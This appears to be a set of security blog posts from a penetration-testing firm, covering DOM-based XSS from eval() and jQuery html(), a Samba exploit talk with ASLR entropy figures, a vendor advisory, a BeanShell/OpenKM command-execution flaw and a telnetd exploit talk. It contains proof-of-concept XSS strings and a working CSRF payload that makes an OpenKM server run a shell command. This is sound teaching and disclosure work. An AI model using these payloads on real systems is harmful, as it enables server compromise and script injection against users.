Risks of DOM Based XSS due to “unsafe” JavaScript functions

Introduction

Several native JavaScript functions or properties like .eval() and .innerHTML as well as several jQuery functions like .html() and .append() are considered as “unsafe”, but why? The reason is that they allow DOM manipulation using strings containing HTML code (e.g.”<b>This text is bold</b>“), which can lead to DOM Based Cross-Site Scripting vulnerabilities. To be more specific: The usage of such functions is not a problem as long as no user input is directly embedded in an “unsafe” way. jQuery can help us to safely manipulate the DOM without executing XSS in user defined inputs. But do not by mistake assume jQuery is safe per se, it only provides us some helper function to manipulate the DOM more safely.

The subsequent sections show the difference between safe and unsafe usage of JavaScript and jQuery functions in the following scenarios:

Unsafe DOM manipulation using eval():

var txtField = "field1";
var txtUserInput = "'test@csnc.ch';alert(1);";
eval(
   "document.forms[0]." + txtField + ".value =" + txtUserInput
);

The last double quote causes the user input to be treated as JavaScript. This results in the following JavaScript code being executed by eval():

document.forms[0].field1.value = 'test@csnc.ch';alert(1);

Therefore the user input is executed:


Safe DOM manipulation using eval():

var txtField = "field1";
var txtUserInput = "'test@csnc.ch';alert(1);";
eval(
   "document.forms[0]." + txtField + ".value = txtUserInput"
);

The double quote at the end causes the user input NOT to be treated as JavaScript. This results in the following JavaScript code being executed by eval():

document.forms[0].field1.value = txtUserInput

Or in other words:

document.forms[0].field1.value = "'test@csnc.ch';alert(1);"

This results in the following HTML code:

<input type='text' id='field1' name='field1'
       value="'test@csnc.ch';alert(1);" />

Therefore the user input is not executed:

However, this snippet shows again how small the difference is between safe and unsafe usage of eval():

"document.forms[0]." + txtField + ".value =" + txtUserInput
"document.forms[0]." + txtField + ".value = txtUserInput"

Therefore it is recommended to completely ban this function from your JavaScript code.

Unsafe DOM manipulation using jQuery html():

var txtAlertMsg = "This is bold: ";
var txtUserInput = "test<script>alert(1)<\/script>";
$("#message").html(
   txtAlertMsg +"<b>" + txtUserInput + "</b>"
);

Or in other words:

$("#message").html(
   "This is bold: <b>test<script>alert(1)<\/script></b>"
);

This results in the following HTML code:

<div id='message'><b>test<script>alert(1)</script></b></div>

Therefore the user input is executed:


Safe DOM manipulation using jQuery html() and text():

var txtAlertMsg = "This is bold: ";
var txtUserInput = "test<script>alert(1)<\/script>";
$("#message").html(
   txtAlertMsg +"<b><div id='userInput'></div></b>"
);
$("#userInput").text(
   txtUserInput
);

Or in other words:

$("#userInput").text(
   "test<script>alert(1)<\/script>"
);

This results in the following HTML code:

<div id='message'>This is bold: <b>
   <div id='userInput'>test&lt;script&gt;alert(1)&lt;/script&gt;</div>
</b></div>

Therefore the user input is not executed:

Conclusion

  • eval() is evil
  • jQuery does not solve all your problems
  • When using JavaScript or jQuery functions to manipulate your DOM you always need to know if your content may contain user input. If yes you must only use functions which encode HTML / JavaScript strings like jQuery text().

Resources

Samba Exploit Development Presentation

As penetration testers, our main goal is to identify as many vulnerabilities as possible. This allows our customers to more objectifly assess their security level and to shut as many doors as possible which an intruder could use to break in. This process needs to be based in respect of cost-benefit, depending on risk probabily and impact. Exploitation is only a secondary objective, mostly used to facility the first one. Also – the fix for most software vulnerabilities is the same: Always update all your software everywhere as soon as possible.

In my spare time, I like to get low-level and study the art of exploitation. From time to time I try to shed some light on the dark art of exploitation, by giving a little presentation to my work colleagues about my findings.

In my presentation I talk about CVE-2012-1182 (“root” credential remote code execution in Samba). First I show a small analysis of the vulnerability itself. After that I outline the inner workings of the Samba heap allocator. Based on this knowledge, I describe how to develop a working exploit which circumvents typical anti-exploitation securiy features like NX, ASLR and PIE.

 I close the presentation with a short analysis of the randomness of libc function addresses of common linux distributions. To summarize, ASLR/PIE implementations in 32 bit Linux distributions do not provide adequate randomness against brute forcing of ret2libc function addresses, as they provide less than 12 bit of entropy. OpenBSD-32bit provides 16 bit, and 64 bit linux distributions more than 20 bit of entropy, which considerably slows brute-force exploiting attempts.

Here are the results of my short evaluation. I generated around 1 million processes, each printing the address of system(), collected them in a file and did some analysis. In the following table, the second row shows the number of unique addresses collected. The third row shows how many times the most common address is being used, in respect to the least common.

It is not really a problem to brute force around <2000 addresses in a suitable timeframe, so the 32 Bit Linux distributions receive a FAIL rating. OpenBSD does a much better job on randomizing LIBC function addresses (as expected). 64 Bit operating systems are the hardest to brute force.

More details in my presentation: sambaexploit_v1.0.pdf

nevisProxy Advisory Release

Today, Compass Security published a public advisory regarding nevisProxy, a product from AdNovum, used by several Swiss financial institutions.

nevisProxy is a secure reverse proxy with an integrated web application firewall (WAF). It acts as a central upstream entry point for web traffic to integrated online applications. nevisProxy controls user access and protects sensitive data, applications, services, and systems from internal and external threats. nevisProxy is a component of AdNovum’s security framework Nevis (source).

Instead of focusing this post on the issue itself, I would like to take the opportunity to show how well the vendor AdNovum handled the vulnerability we identified. In less than a few hours after the disclosure, our initial mail was acknowledged and their team was already working towards a resolution. On the following morning, the vendor informed all its customers by releasing a security bulletin and a blog entry (AdNovum Security Bulletin 2012-03 – only accessible via their customer portal), containing a mitigation proposal. A concrete date for a patch release (March 14, 2012) was communicated at this occasion as well. Only two working days later, AdNovum has sent an email reminder about this issue, ensuring all customers were aware of the issue and could take adequate steps to safeguard themselves.

We often hear and read rants about vendors giving bad examples on how to (not) handle security issues. Hopefully this example of AdNovum will show that some vendors know how to manage security issues quickly and professionally, in the best interest of their customers – and their own reputation.

Our advisory can be found on http://www.csnc.ch/misc/files/advisories/CSNC-2012-004_Nevis_XSS_within_302_Redirections_publicVersion.txt

BeanShell puts Java Application Servers at Risk

Developers increasingly integrate BeanShell support into web applications to provide end users and administrators with a simple extension framework. But be warned! BeanShell support without appropriate access control will put the hosting web server at severe risk. An attacker could easily execute operating system calls and without appropriate system hardening such an attack will immediately result in full system compromise.

The BeanShell[1] is an environment that provides execution of Java code snippets in the web application context. The shell supports full Java language syntax and some loose structures for convenience. Be aware, to run code within an Java Virtual Machine (JVM) means to run code on the server. The following screenshot shows BeanShell enabled web application that just run a hello world command.

However, to be able to do some meaningful attacks one must first overcome and understand some limitations of the Java Runtime.getRuntime().exec() method. Simply putting a whole command into the exec method will not run properly since Java will internally tokenize the String and redirect IO streams. The first argument will be taken as executable. All remaining tokens will be passed as parameters to the executable. Thus, the below statement will not work as intended because the “-c” parameter awaits a single argument.

Runtime.getRuntime().exec("/bin/sh -c /bin/echo pwned > /tmp/poc"};

Following that, command injection in Java is a difficult thing to do since the attacker mostly just gains control over the parameters. However, in BeanShell we are pretty free to choose from the whole arsenal of Java API classes and methods. Finally, a correct call would look like:

String[] cmd = {"/bin/sh", "-c", "/bin/echo pwned > /tmp/poc"};
Runtime.getRuntime().exec(cmd);

That way, Java will pass “/bin/echo pwned > /tmp/poc” correctly. Unfortunately, there is another limitation on the IO streams. Thus, to read and process the output of a command the InputStream classes will be needed. The following snippet is a working example with the Unix list directory (ls) command.

import java.io.*;
try {
Process ls_proc = Runtime.getRuntime().exec("/bin/ls -lah");
DataInputStream ls_in = new DataInputStream(ls_proc.getInputStream());
String ls_str;
while ((ls_str = ls_in.readLine()) != null)
print(ls_str + " ");
} catch (IOException e) {
}

So, you might be asking yourself how this ex-course on the Runtime class’s exec method is related to BeanShell support in web applications?

I have published an advisory[3] on insufficient access control of an integrated BeanShell in an Enterprise Java (J2EE) based document management system software (OpenKM). An attacker could prepare en evil e-mail or website that runs a malicious command on the server if the OpenKM administrator clicks on the link or visits the prepared website.

For example, an attacker would simply embed the below JavaScript exploit code into a web page to cause writing a proof of concept file into the /tmp folder.

img = new Image();
img.src="http://example.com/OpenKM/admin/scripting.jsp?script=String%5B%5D+cmd+%3D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3E+%2Ftmp%2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B"

Related vulnerabilities are often seen in administrative interfaces of web apps. The attack scheme is also known as Cross-site Request Forgery or XSRF[4]. There are several ways to approach the issue. Either ensure proper access controls[5] or lock down the JVM using Java security policies and the Security Manager[6]. In the end, system hardening may help limiting collateral damage in case of successful attacks.

References
[1] http://www.beanshell.org/
[2] http://www.ensta-paristech.fr/~diam/java/online/io/javazine.html
[3] http://www.csnc.ch/misc/files/advisories/COMPASS-2012-002_openkm_xsrf_os_command_execution.txt
[4] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
[5] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
[6] http://docs.oracle.com/javase/7/docs/api/java/lang/RuntimePermission.html

Retrospective about cache snooping

As it is known since at least 2006, a website is able to identify the domains a user previously visited, with some simple CSS hacks. This had great privacy implications, and browsers took steps to eliminate this problem. But in December 2011, lcamtuf presented a new proof of concept based on cache timings, which basically does the same thing. This new technique uses JavaScript and the caching behavior of previously loaded resources to identify visited domains.

This vulnerability is not something a penetration test will identify, as it is purely a client side problem. Nevertheless it is a interesting topic as it exposes fundamental flaws in browser technology concerning privacy and which can’t be patched easily. It is similar to side-channel attacks in crypto systems, and the fix inherently reduces performance.

The attached presentation “CSS -visited – or now Browser Cache Timing” gives an overview of the history around this issue and how the proof of concept of 2006, respectively December 2011 work.

Research über die Netkit-Telnetd Schwachstelle

Als ich nach den üblichen Weihnachtsfesten auf Twitter die neusten Sicherheitsmeldungen überflog, bin ich auf einen interessanten Blog Eintrag gestossen:
A Textbook Buffer Overflow: A Look at the FreeBSD telnetd Code.
Der Author beschreibt eine Buffer Overflow Lücke im Netkit Telnet Daemon, der im FreeBSD Betriebssystem verwendet wird. Die Schwachstelle wurde Zwei Tage vorher, am 23.12.2011 veröffentlicht. Details dazu gibt es in CVE-2011-4862. Um die Schwachstelle auszuführen ist kein Benutzeraccount nötig, sie ist einfach auszunützen und ergibt bei einem erfolgreichen Exploit sofort Root Zugang. Zusätzlich verwendet FreeBSD keine der Standard Schutzmechanismen wie ASLR und DEP.

All diese Tatsachen verführten mich dazu, mehr Zeit in dieses Thema zu investieren. Zwei Tage später hatte ich einen funktionsfähigen Exploit für das Metasploit Framework entwickelt. Die Erfahrungen die ich dabei machte habe ich in einer Präsentation zusammengefasst, die ich dann meinen Compass Arbeitskollegen vorgetragen habe. Darin enthalten ist die Analyse des Fehlerhaften Codes, worauf eine kurze Abhandlung des Telnet Protokolls folgt. Mit diesem Vorwissen bewaffnet werden die einzelnen Stufen des Exploits detailliert erklärt, mit Veranschaulichung durch Aufnahmen des Netzwerkverkehrs, grafische Darstellung von Datenstrukturen im Telnet Deamon und Details aus dem Metasploit Modul. Abschliessend sind noch typische Anti-Exploiting Mechanismen vorgestellt, und wie es möglich ist diese zu umgehen.

Die Präsentation kann unter diesem Link heruntergeladen werden: